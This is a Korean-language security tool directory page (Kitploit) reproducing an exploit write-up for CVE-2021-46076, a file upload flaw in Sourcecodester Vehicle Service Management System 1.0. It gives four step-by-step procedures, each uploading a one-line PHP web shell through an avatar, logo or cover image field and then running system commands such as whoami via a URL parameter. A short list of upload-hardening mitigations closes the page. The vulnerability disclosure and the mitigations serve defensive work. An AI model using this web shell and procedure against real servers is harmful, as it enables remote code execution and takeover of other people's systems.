Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Code-Execution — CVE-2021-46076 - Sourcecodester Vehicle Service Management System 1.0은 파일 업로드에 취약합니다. 공격자는 여러 엔드포인트에서 악성 php 파일을 업로드하여 코드 실행으로 이어질 수 있습니다. | Kitploit
도구/GitHubGitHub/sanupl/vehicle-service-management-system-multiple-file-upload-leads-to-code-execution
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubsanupl/vehicle-service-management-system-multiple-file-upload-leads-to-code-execution

Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Code-Execution

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-46076 - Sourcecodester Vehicle Service Management System 1.0은 파일 업로드에 취약합니다. 공격자는 여러 엔드포인트에서 악성 php 파일을 업로드하여 코드 실행으로 이어질 수 있습니다.

저장소 보기
3개월 전아직 검토되지 않음

CVE-2021-46076

익스플로잇 제목: Vehicle Service Management System - 'Multiple' 파일 업로드로 인한 코드 실행

익스플로잇 작성자: SANU P.L

CVE: CVE-2021-46076

CVSS: 8.8 HIGH

참조:

  • https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-code-execution
  • https://nvd.nist.gov/vuln/detail/CVE-2021-46076
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46076

설명:

Sourcecodester Vehicle Service Management System 1.0은 파일 업로드 취약점에 노출되어 있습니다. 공격자는 여러 엔드포인트에 악성 php 파일을 업로드하여 코드 실행을 유발할 수 있습니다.

1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)

익스플로잇:

  1. 관리자 패널에 로그인합니다. http://localhost/vehicle_service/admin
  2. My Account 섹션으로 이동합니다. http://localhost/vehicle_service/admin/?page=user

페이로드:

root@kitploit:~
<?php system($_GET['cmd']);?>
  1. 위 php 코드를 저장합니다. 예: Cmd.php
  2. My Account 섹션에서 필요한 모든 정보를 입력하고 Avatar에서 php 파일을 선택합니다.
  3. 업데이트 버튼을 클릭합니다.
  4. 새 탭에서 아바타 이미지를 엽니다.
  5. URL에 cmd 매개변수를 추가하고 명령을 실행합니다.
  6. 최종 URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
  7. 모든 시스템 명령을 실행합니다. 예: id, whoami, pwd 등.

2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)

익스플로잇:

  1. 관리자 패널에 로그인합니다. http://localhost/vehicle_service/admin
  2. User List 섹션으로 이동하여 Create New 버튼을 클릭합니다.

페이로드:

root@kitploit:~
<?php system($_GET['cmd']);?>
  1. 위 php 코드를 저장합니다. 예: Cmd.php
  2. Create New User 페이지에서 필요한 모든 정보를 입력하고 Avatar에서 php 파일을 선택합니다.
  3. 저장(Save) 버튼을 클릭합니다.
  4. 새 탭에서 아바타 이미지를 엽니다.
  5. URL에 cmd 매개변수를 추가하고 명령을 실행합니다.
  6. 최종 URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
  7. 모든 시스템 명령을 실행합니다. 예: id, whoami, pwd 등.

3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)

익스플로잇:

  1. 관리자 패널에 로그인합니다. http://localhost/vehicle_service/admin
  2. Settings 섹션으로 이동합니다. http://localhost/vehicle_service/admin/?page=system_info

페이로드:

root@kitploit:~
<?php system($_GET['cmd']);?>
  1. 위 php 코드를 저장합니다. 예: Cmd.php
  2. Settings 섹션에서 필요한 모든 정보를 입력하고 System Logo에서 php 파일을 선택합니다.
  3. 업데이트 버튼을 클릭합니다.
  4. 새 탭에서 System Logo 이미지를 엽니다.
  5. URL에 cmd 매개변수를 추가하고 명령을 실행합니다.
  6. 최종 URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
  7. 모든 시스템 명령을 실행합니다. 예: id, whoami, pwd 등.

4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)

익스플로잇:

  1. 관리자 패널에 로그인합니다. http://localhost/vehicle_service/admin
  2. Settings 섹션으로 이동합니다. http://localhost/vehicle_service/admin/?page=system_info

페이로드:

root@kitploit:~
<?php system($_GET['cmd']);?>
  1. 위 php 코드를 저장합니다. 예: Cmd.php
  2. Settings 섹션에서 필요한 모든 정보를 입력하고 Website Cover에서 php 파일을 선택합니다.
  3. 업데이트 버튼을 클릭합니다.
  4. 새 탭에서 Website Cover 이미지를 엽니다.
  5. URL에 cmd 매개변수를 추가하고 명령을 실행합니다.
  6. 최종 URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
  7. 모든 시스템 명령을 실행합니다. 예: id, whoami, pwd 등.

영향:

공격자는 여러 엔드포인트에 악성 php 파일을 업로드할 수 있으며, 이로 인해 코드 실행이 발생할 수 있습니다.

완화 조치:

다음과 같은 사항을 구현하는 것이 좋습니다:

  • 허용 목록(white-list) 필터 없이 파일 이름과 확장자를 직접 수락하지 마십시오.
  • 유니코드 문자가 필요하지 않은 경우, 파일 이름과 확장자 입력으로 영숫자 문자와 점 하나만 허용하는 것을 적극 권장합니다.
  • 서비스 거부 공격을 방지하기 위해 파일 크기를 최대값으로 제한하십시오.
  • 업로드 디렉터리에는 "실행(execute)" 권한이 없어야 합니다.
  • 클라이언트 측 검증에만 의존하지 마십시오.
도구 다운로드